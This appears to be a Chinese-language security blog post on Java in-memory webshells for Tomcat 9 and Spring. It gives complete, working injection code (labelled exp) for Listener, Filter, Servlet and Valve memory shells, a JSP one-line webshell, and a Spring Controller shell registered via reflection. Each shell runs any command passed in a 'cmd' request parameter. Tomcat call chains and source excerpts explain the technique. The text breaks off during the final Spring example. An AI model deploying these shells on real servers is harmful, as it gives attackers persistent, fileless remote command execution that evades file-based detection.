本文研究java内存马相关,环境:java 1.8 tomcat 9.0.95
本质跟python的一样还是改了一些对象的属性来实现
先不考虑回显
jsp中简单的一句话木马
1
| <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
|
需要文件落地,类似php
而Java可以动态添加组件来实现内存马
Tomcat内存马
Servlet 3.0 (tomcat7+)提供了动态注册servlet, listener, filter机制
从request获取StandardContext
方法一
1 2 3 4 5 6 7 8 9 10 11 12
| StandardContext standardContext = null; while (standardContext == null) { Field f = servletContext.getClass().getDeclaredField("context"); f.setAccessible(true); Object object = f.get(servletContext);
if (object instanceof ServletContext) { servletContext = (ServletContext) object; } else if (object instanceof StandardContext) { standardContext = (StandardContext) object; } }
|
方法二
1 2 3 4 5 6 7 8 9 10 11 12
| ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
|
Listener内存马
写一个恶意listener, 在恶意代码处断点调试,查看每次请求是如何执行到恶意代码的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package org.example.demo2.Listener;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.lang.String;
@WebListener public class MemoryShell_Listener implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } }
}
|
调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| requestInitialized:15, MemoryShell_Listener (org.example.demo2.Listener) fireRequestInitEvent:5155, StandardContext (org.apache.catalina.core) invoke:116, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:660, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:346, CoyoteAdapter (org.apache.catalina.connector) service:383, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:937, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:750, Thread (java.lang)
|
所以可以看到最后在StandardContext的fireRequestInitEvent中调用listener.requestInitialized(event);来实现, 如果能控制listener,就可以实现执行任意代码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public boolean fireRequestInitEvent(ServletRequest request) { Object[] instances = this.getApplicationEventListeners(); if (instances != null && instances.length > 0) { ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
for(int i = 0; i < instances.length; ++i) { if (instances[i] != null && instances[i] instanceof ServletRequestListener) { ServletRequestListener listener = (ServletRequestListener)instances[i];
try { listener.requestInitialized(event); } catch (Throwable var8) { ExceptionUtils.handleThrowable(var8); this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instances[i].getClass().getName()}), var8); request.setAttribute("javax.servlet.error.exception", var8); return false; } } } }
|
getApplicationEventListeners()获取数组applicationEventListenersList
1 2 3
| public Object[] getApplicationEventListeners() { return this.applicationEventListenersList.toArray(); }
|
只要控制applicationEventListenersList即可,可反射也可StandardContext#addApplicationEventListener()方法来添加Listener
1 2 3
| public void addApplicationEventListener(Object listener) { this.applicationEventListenersList.add(listener); }
|
StandardContext的实例对象可通过request.getContext()获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| ServletContext servletContext = req.getServletContext();
StandardContext standardContext = null;
try { while (standardContext == null) { Field f = servletContext.getClass().getDeclaredField("context"); f.setAccessible(true); Object object = f.get(servletContext);
if (object instanceof ServletContext) { servletContext = (ServletContext) object; } else if (object instanceof StandardContext) { standardContext = (StandardContext) object; } }catch (Exception e) { e.printStackTrace(); }
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| package org.example.demo2;
import java.io.*; import java.lang.reflect.Field; import javax.servlet.ServletContext; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.http.*; import javax.servlet.annotation.*; import org.apache.catalina.core.StandardContext;
class MemoryShell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } }
public void requestDestroyed(ServletRequestEvent sre) { } } @WebServlet(name = "helloServlet", value = "/hello-servlet") public class HelloServlet extends HttpServlet {
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
ServletContext servletContext = req.getServletContext();
StandardContext standardContext = null; MemoryShell_Listener memoryShellListener= new MemoryShell_Listener(); try { while (standardContext == null) { Field f = servletContext.getClass().getDeclaredField("context"); f.setAccessible(true); Object object = f.get(servletContext);
if (object instanceof ServletContext) { servletContext = (ServletContext) object; } else if (object instanceof StandardContext) { standardContext = (StandardContext) object; } } standardContext.addApplicationEventListener(memoryShellListener);
} catch (Exception e) { e.printStackTrace(); }
} }
|
Filter内存马
写一个恶意filter调试查看filter运行时的调用过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package org.example.demo2.Filter;
import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException;
@WebFilter("/*") public class MemoryShell_Filter implements Filter { @Override public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException{ String cmd = req.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(req, resp); }
}
|
调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| doFilter:11, MemoryShell_Filter (org.example.demo2.Filter) internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core) doFilter:144, ApplicationFilterChain (org.apache.catalina.core) invoke:168, StandardWrapperValve (org.apache.catalina.core) invoke:90, StandardContextValve (org.apache.catalina.core) invoke:482, AuthenticatorBase (org.apache.catalina.authenticator) invoke:130, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:660, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:346, CoyoteAdapter (org.apache.catalina.connector) service:383, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:937, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:750, Thread (java.lang)
|
ApplicationFilterChain#internalDoFilter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException { if (this.pos < this.n) { ApplicationFilterConfig filterConfig = this.filters[this.pos++];
try { Filter filter = filterConfig.getFilter(); if (request.isAsyncSupported() && !filterConfig.getFilterDef().getAsyncSupportedBoolean()) { request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE); }
if (Globals.IS_SECURITY_ENABLED) { Principal principal = ((HttpServletRequest)request).getUserPrincipal(); Object[] args = new Object[]{request, response, this}; SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal); } else { filter.doFilter(request, response, this); }
} catch (ServletException | RuntimeException | IOException var15) { throw var15; } catch (Throwable var16) { Throwable e = ExceptionUtils.unwrapInvocationTargetException(var16); ExceptionUtils.handleThrowable(e); throw new ServletException(sm.getString("filterChain.filter"), e); } } else { try { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); }
if (request.isAsyncSupported() && !this.servletSupportsAsync) { request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE); }
if (request instanceof HttpServletRequest && response instanceof HttpServletResponse && Globals.IS_SECURITY_ENABLED) { Principal principal = ((HttpServletRequest)request).getUserPrincipal(); Object[] args = new Object[]{request, response}; SecurityUtil.doAsPrivilege("service", this.servlet, classTypeUsedInService, args, principal); } else { this.servlet.service(request, response); } } catch (ServletException | RuntimeException | IOException var17) { throw var17; } catch (Throwable var18) { Throwable e = ExceptionUtils.unwrapInvocationTargetException(var18); ExceptionUtils.handleThrowable(e); throw new ServletException(sm.getString("filterChain.servlet"), e); } finally { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set((Object)null); lastServicedResponse.set((Object)null); }
}
} }
|
能控制这个函数中变量filter是关键
而filter = filterConfig.getFilter();没找到能直接改的地方
向上面的调用链中invoke:168, StandardWrapperValve (org.apache.catalina.core)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| public void invoke(Request request, Response response) throws IOException, ServletException { boolean unavailable = false; Throwable throwable = null; long t1 = System.currentTimeMillis(); this.requestCount.incrementAndGet(); StandardWrapper wrapper = (StandardWrapper)this.getContainer(); Servlet servlet = null; Context context = (Context)wrapper.getParent(); if (!context.getState().isAvailable()) { response.sendError(503, sm.getString("standardContext.isUnavailable")); unavailable = true; }
if (!unavailable && wrapper.isUnavailable()) { this.container.getLogger().info(sm.getString("standardWrapper.isUnavailable", new Object[]{wrapper.getName()})); this.checkWrapperAvailable(response, wrapper); unavailable = true; }
try { if (!unavailable) { servlet = wrapper.allocate(); } } catch (UnavailableException var79) { this.container.getLogger().error(sm.getString("standardWrapper.allocateException", new Object[]{wrapper.getName()}), var79); this.checkWrapperAvailable(response, wrapper); } catch (ServletException var80) { this.container.getLogger().error(sm.getString("standardWrapper.allocateException", new Object[]{wrapper.getName()}), StandardWrapper.getRootCause(var80)); throwable = var80; this.exception(request, response, var80); } catch (Throwable var81) { ExceptionUtils.handleThrowable(var81); this.container.getLogger().error(sm.getString("standardWrapper.allocateException", new Object[]{wrapper.getName()}), var81); throwable = var81; this.exception(request, response, var81); }
MessageBytes requestPathMB = request.getRequestPathMB(); DispatcherType dispatcherType = DispatcherType.REQUEST; if (request.getDispatcherType() == DispatcherType.ASYNC) { dispatcherType = DispatcherType.ASYNC; }
request.setAttribute("org.apache.catalina.core.DISPATCHER_TYPE", dispatcherType); request.setAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH", requestPathMB); ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); Container container = this.container; boolean var50 = false;
long t2; long time; label1219: { label1220: { label1221: { label1222: { label1223: { label1224: { try { var50 = true; if (servlet != null) { if (filterChain != null) { if (context.getSwallowOutput()) { boolean var78 = false;
try { var78 = true; SystemLogHandler.startCapture(); if (request.isAsyncDispatching()) { request.getAsyncContextInternal().doInternalDispatch(); var78 = false; } else { filterChain.doFilter(request.getRequest(), response.getResponse()); var78 = false; } } finally { if (var78) { String log = SystemLogHandler.stopCapture(); if (log != null && !log.isEmpty()) { context.getLogger().info(log); }
} }
String log = SystemLogHandler.stopCapture(); if (log != null) { if (!log.isEmpty()) { context.getLogger().info(log); var50 = false; } else { var50 = false; } } else { var50 = false; } } else if (request.isAsyncDispatching()) { request.getAsyncContextInternal().doInternalDispatch(); var50 = false; } else { filterChain.doFilter(request.getRequest(), response.getResponse()); var50 = false; }
|
ApplicationFilterFactory.createFilterChain中有StandardContext
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { if (servlet == null) { return null; } else { ApplicationFilterChain filterChain; if (request instanceof Request) { Request req = (Request)request; if (Globals.IS_SECURITY_ENABLED) { filterChain = new ApplicationFilterChain(); } else { filterChain = (ApplicationFilterChain)req.getFilterChain(); if (filterChain == null) { filterChain = new ApplicationFilterChain(); req.setFilterChain(filterChain); } } } else { filterChain = new ApplicationFilterChain(); }
filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext)wrapper.getParent(); FilterMap[] filterMaps = context.findFilterMaps(); if (filterMaps != null && filterMaps.length != 0) { DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE"); String requestPath = FilterUtil.getRequestPath(request); String servletName = wrapper.getName(); FilterMap[] var9 = filterMaps; int var10 = filterMaps.length;
int var11; FilterMap filterMap; ApplicationFilterConfig filterConfig; for(var11 = 0; var11 < var10; ++var11) { filterMap = var9[var11]; if (matchDispatcher(filterMap, dispatcher) && FilterUtil.matchFiltersURL(filterMap, requestPath)) { filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null) { log.warn(sm.getString("applicationFilterFactory.noFilterConfig", new Object[]{filterMap.getFilterName()})); } else { filterChain.addFilter(filterConfig); } } }
var9 = filterMaps; var10 = filterMaps.length;
for(var11 = 0; var11 < var10; ++var11) { filterMap = var9[var11]; if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) { filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null) { log.warn(sm.getString("applicationFilterFactory.noFilterConfig", new Object[]{filterMap.getFilterName()})); } else { filterChain.addFilter(filterConfig); } } }
return filterChain; } else { return filterChain; } } }
|
可以通过修改StandardContext属性来修改filterChain,可以发现listener内存马也是修改StandardContext属性的
StandardContext.class中
1 2 3 4 5 6 7 8 9 10 11 12 13
| private final Map<String, ApplicationFilterConfig> filterConfigs = new HashMap(); private final Map<String, FilterDef> filterDefs = new HashMap(); private final ContextFilterMaps filterMaps = new ContextFilterMaps();
public FilterMap[] findFilterMaps() { return this.filterMaps.asArray(); }
public FilterConfig findFilterConfig(String name) { synchronized(this.filterDefs) { return (FilterConfig)this.filterConfigs.get(name); } }
|
所以需要filterMaps与filterConfigs
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| package org.example.demo2;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.List; import java.util.Map; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.annotation.*;
import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
class MemoryShell_Filter implements Filter { @Override public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException{ String cmd = req.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(req, resp); }
} @WebServlet(name = "helloServlet", value = "/hello-servlet") public class HelloServlet extends HttpServlet {
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
ServletContext servletContext = req.getServletContext(); StandardContext standardContext=null; try { Field a = servletContext.getClass().getDeclaredField("context"); a.setAccessible(true); ServletContext applicationContext = (ServletContext)a.get(servletContext); Field b = applicationContext.getClass().getDeclaredField("context"); b.setAccessible(true); standardContext = (StandardContext) b.get(applicationContext); }catch (NoSuchFieldException e){ e.printStackTrace(); }catch (IllegalAccessException e){ e.printStackTrace(); } MemoryShell_Filter filter= new MemoryShell_Filter(); String name = "Filter"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); standardContext.addFilterMapBefore(filterMap); Field Configs = null; try { Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig); } catch (NoSuchFieldException | NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) { throw new RuntimeException(e); }
} }
|
servlet内存马
listener与filter是运行的时候在字典里查找类来进行的
而servlet是容器初始化时加入字典的,然后加载(加载后才到内存里)
而且在这里调试并没有找到可以控制wrapper的,我们想办法在运行时增加wrapper,然后加载(重要)
tomcat通过StandardContext类的startInternal()方法来初始化容器
最终在configureContext(webXml)方法中创建StandWrapper对象,通过addServletMappingDecoded()方法添加Servlet对应的url映射
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| package org.example.demo2;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.List; import java.util.Map; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.annotation.*;
import org.apache.catalina.Context; import org.apache.catalina.Wrapper; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
class MemoryShell_Servlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { String cmd = request.getParameter("cmd"); Runtime.getRuntime().exec(cmd); }
} @WebServlet(name = "helloServlet", value = "/hello-servlet") public class HelloServlet extends HttpServlet { public void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
ServletContext servletContext = req.getServletContext(); StandardContext standardContext=null; try { Field a = servletContext.getClass().getDeclaredField("context"); a.setAccessible(true); ServletContext applicationContext = (ServletContext)a.get(servletContext); Field b = applicationContext.getClass().getDeclaredField("context"); b.setAccessible(true); standardContext = (StandardContext) b.get(applicationContext); }catch (NoSuchFieldException e){ e.printStackTrace(); }catch (IllegalAccessException e){ e.printStackTrace(); }
MemoryShell_Servlet shell_servlet= new MemoryShell_Servlet();
String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName());
standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell",name);
}
}
|
value内存马
tomcat管道Pipeline就是连接不同的wrapper或者context的类
而value就是在一个管道中的一些阀门

value内存马可以在context的管道中加,也可以在wrapper的加,engine与host也可以,这里介绍context的与wrapper的
先在恶意servlet打断点查看value的invoke调用顺序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <init>:10, MemoryShell_Servlet (org.example.demo2.Servlet) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:423, Constructor (java.lang.reflect) newInstance:143, DefaultInstanceManager (org.apache.catalina.core) loadServlet:898, StandardWrapper (org.apache.catalina.core) allocate:659, StandardWrapper (org.apache.catalina.core) invoke:116, StandardWrapperValve (org.apache.catalina.core) invoke:90, StandardContextValve (org.apache.catalina.core) invoke:482, AuthenticatorBase (org.apache.catalina.authenticator) invoke:130, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:660, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:346, CoyoteAdapter (org.apache.catalina.connector) service:383, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:937, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:750, Thread (java.lang)
|
从service:346, CoyoteAdapter (org.apache.catalina.connector)这里
1
| this.connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
|
来调用invoke:74, StandardEngineValve (org.apache.catalina.core),然后实现调用后续的Valve
context的管道
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| package org.example.demo2;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.List; import java.util.Map; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.annotation.*;
import org.apache.catalina.Context; import org.apache.catalina.Pipeline; import org.apache.catalina.Wrapper; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.catalina.valves.ValveBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
class Shell_Valve extends ValveBase { public void invoke(Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd !=null){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } } @WebServlet(name = "helloServlet", value = "/hello-servlet") public class HelloServlet extends HttpServlet { public void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
ServletContext servletContext = req.getServletContext(); StandardContext standardContext=null; try { Field a = servletContext.getClass().getDeclaredField("context"); a.setAccessible(true); ServletContext applicationContext = (ServletContext)a.get(servletContext); Field b = applicationContext.getClass().getDeclaredField("context"); b.setAccessible(true); standardContext = (StandardContext) b.get(applicationContext); }catch (NoSuchFieldException e){ e.printStackTrace(); }catch (IllegalAccessException e){ e.printStackTrace(); }
Pipeline pipeline = standardContext.getPipeline(); Shell_Valve shell_valve = new Shell_Valve(); pipeline.addValve(shell_valve);
}
}
|
wrapper的管道
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package org.example.demo2;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.List; import java.util.Map; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.annotation.*;
import org.apache.catalina.Context; import org.apache.catalina.Pipeline; import org.apache.catalina.Wrapper; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.catalina.valves.ValveBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
class Shell_Valve extends ValveBase { public void invoke(Request request, Response response) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd !=null){ try{ Runtime.getRuntime().exec(cmd); }catch (IOException e){ e.printStackTrace(); }catch (NullPointerException n){ n.printStackTrace(); } } } } @WebServlet(name = "helloServlet", value = "/hello-servlet") public class HelloServlet extends HttpServlet { public void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
ServletContext servletContext = req.getServletContext(); StandardContext standardContext=null; try { Field a = servletContext.getClass().getDeclaredField("context"); a.setAccessible(true); ServletContext applicationContext = (ServletContext)a.get(servletContext); Field b = applicationContext.getClass().getDeclaredField("context"); b.setAccessible(true); standardContext = (StandardContext) b.get(applicationContext); }catch (NoSuchFieldException e){ e.printStackTrace(); }catch (IllegalAccessException e){ e.printStackTrace(); }
Wrapper wrapper = (Wrapper) standardContext.findChild("helloServlet"); Pipeline pipeline = wrapper.getPipeline(); Shell_Valve shell_valve = new Shell_Valve(); pipeline.addValve(shell_valve);
}
}
|
Spring内存马
获取Child WebApplicationContext
RequestContextUtils
1
| WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest())
|
通过 ServletRequest 类的实例来获得 Child WebApplicationContext。
getAttribute
1 2
| WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
|
所有的Context在创建后,都会被作为一个属性添加到了ServletContext中,所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
Controller内存马
registerMapping(spring4以后才有)
1 2 3 4 5 6 7 8 9 10 11
| RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);
|
而这个函数中
1 2 3 4 5 6 7
| private final AbstractHandlerMethodMapping<T>.MappingRegistry mappingRegistry = new MappingRegistry();
public void registerMapping(T mapping, Object handler, Method method) { this.mappingRegistry.register(mapping, handler, method); }
public void register(T mapping, Object handler, Method method)
|
所以可通过反射调用MappingRegistry#register来添加
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry"); f.setAccessible(true); Object mappingRegistry = f.get(mapping);
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Method[] ms = c.getDeclaredMethods();
PatternsRequestCondition url = new PatternsRequestCondition("/shell"); RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
Shell sh = new Shell();
for (Method method : ms) { if ("register".equals(method.getName())) { method.setAccessible(true); method.invoke(mappingRegistry, info, sh, Shell.class.getMethod("shell")); } }
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package com.controller;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.ContextLoader; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.context.support.WebApplicationContextUtils; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.lang.reflect.Method;
